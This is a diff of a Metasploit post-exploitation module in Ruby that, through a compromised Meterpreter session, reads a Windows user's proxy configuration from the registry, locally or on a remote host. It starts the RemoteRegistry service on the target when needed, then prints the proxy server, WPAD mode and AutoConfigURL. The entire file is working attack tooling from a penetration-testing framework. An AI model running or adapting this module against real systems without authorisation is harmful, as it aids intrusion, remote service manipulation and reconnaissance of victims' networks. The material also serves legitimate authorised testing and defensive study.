1
+ ##
2
+ # $Id$
3
+ ##
4
+
5
+ ##
6
+ # This file is part of the Metasploit Framework and may be subject to
7
+ # redistribution and commercial restrictions. Please see the Metasploit
8
+ # web site for more information on licensing and terms of use.
9
+ # http://metasploit.com/
10
+ ##
11
+
12
+ require 'msf/core'
13
+
14
+ class Metasploit3 < Msf ::Post
15
+
16
+ include Post ::Windows ::WindowsServices
17
+
18
+ def initialize
19
+ super (
20
+ 'Name' => 'Windows Gather Proxy Setting' ,
21
+ 'Version' => '$Revision$' ,
22
+ 'Description' => %q{
23
+ This module pulls a user's proxy settings. If neither RHOST or SID
24
+ are set it pulls the current user, else it will pull the user's settings
25
+ specified SID and target host.
26
+ } ,
27
+ 'Author' => [ 'mubix <mubix[at]hak5.org>' ] ,
28
+ 'License' => MSF_LICENSE ,
29
+ 'Platform' => [ 'windows' ] ,
30
+ 'SessionTypes' => [ 'meterpreter' ]
31
+ )
32
+
33
+ register_options (
34
+ [
35
+ OptAddress . new ( 'RHOST' , [ false , 'Remote host to clone settings to, defaults to local' ] ) ,
36
+ OptString . new ( 'SID' , [ false , 'SID of user to clone settings to (SYSTEM is S-1-5-18)' ] )
37
+ ] , self . class )
38
+ end
39
+
40
+ def run
41
+
42
+ if datastore [ 'SID' ]
43
+ root_key , base_key = session . sys . registry . splitkey ( "HKU\\ #{ datastore [ 'SID' ] } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Internet Settings\\ Connections" )
44
+ else
45
+ root_key , base_key = session . sys . registry . splitkey ( "HKCU\\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Internet Settings\\ Connections" )
46
+ end
47
+
48
+ if datastore [ 'RHOST' ]
49
+ begin
50
+ key = session . sys . registry . open_remote_key ( datastore [ 'RHOST' ] , root_key )
51
+ rescue ::Rex ::Post ::Meterpreter ::RequestError
52
+ print_error ( "Unable to contact remote registry service on #{ datastore [ 'RHOST' ] } " )
53
+ print_status ( "Attempting to start service remotely..." )
54
+ begin
55
+ service_start ( 'RemoteRegistry' , datastore [ 'RHOST' ] )
56
+ rescue
57
+ print_error ( 'Unable to read registry or start the service, exiting...' )
58
+ return
59
+ end
60
+ startedreg = true
61
+ key = session . sys . registry . open_remote_key ( datastore [ 'RHOST' ] , root_key )
62
+ end
63
+ open_key = key . open_key ( base_key )
64
+ else
65
+ open_key = session . sys . registry . open_key ( root_key , base_key )
66
+ end
67
+
68
+ values = open_key . query_value ( 'DefaultConnectionSettings' )
69
+
70
+ #If we started the service we need to stop it.
71
+ service_stop ( 'RemoteRegistry' , datastore [ 'RHOST' ] ) if startedreg
72
+
73
+ data = values . data
74
+
75
+ print_status "Proxy Counter = #{ ( data [ 4 , 1 ] . unpack ( 'C*' ) ) [ 0 ] } "
76
+ case ( data [ 8 , 1 ] . unpack ( 'C*' ) ) [ 0 ]
77
+ when 1
78
+ print_status "Setting: No proxy settings"
79
+ when 3
80
+ print_status "Setting: Proxy server"
81
+ when 5
82
+ print_status "Setting: Set proxy via AutoConfigure script"
83
+ when 7
84
+ print_status "Setting: Proxy server and AutoConfigure script"
85
+ when 9
86
+ print_status "Setting: WPAD"
87
+ when 11
88
+ print_status "Setting: WPAD and Proxy server"
89
+ when 13
90
+ print_status "Setting: WPAD and AutoConfigure script"
91
+ when 15
92
+ print_status "Setting: WPAD, Proxy server and AutoConfigure script"
93
+ else
94
+ print_status "Setting: Unknown proxy setting found"
95
+ end
96
+
97
+ cursor = 12
98
+ proxyserver = data [ cursor +4 , ( data [ cursor , 1 ] . unpack ( 'C*' ) ) [ 0 ] ]
99
+ print_status "Proxy Server: #{ proxyserver } " if proxyserver != ""
100
+
101
+ cursor = cursor + 4 + ( data [ cursor ] . unpack ( 'C*' ) ) [ 0 ]
102
+ additionalinfo = data [ cursor +4 , ( data [ cursor , 1 ] . unpack ( 'C*' ) ) [ 0 ] ]
103
+ print_status "Additional Info: #{ additionalinfo } " if additionalinfo != ""
104
+
105
+ cursor = cursor + 4 + ( data [ cursor ] . unpack ( 'C*' ) ) [ 0 ]
106
+ autoconfigurl = data [ cursor +4 , ( data [ cursor , 1 ] . unpack ( 'C*' ) ) [ 0 ] ]
107
+ print_status "AutoConfigURL: #{ autoconfigurl } " if autoconfigurl != ""
108
+
109
+ end
110
+
111
+ end
0 commit comments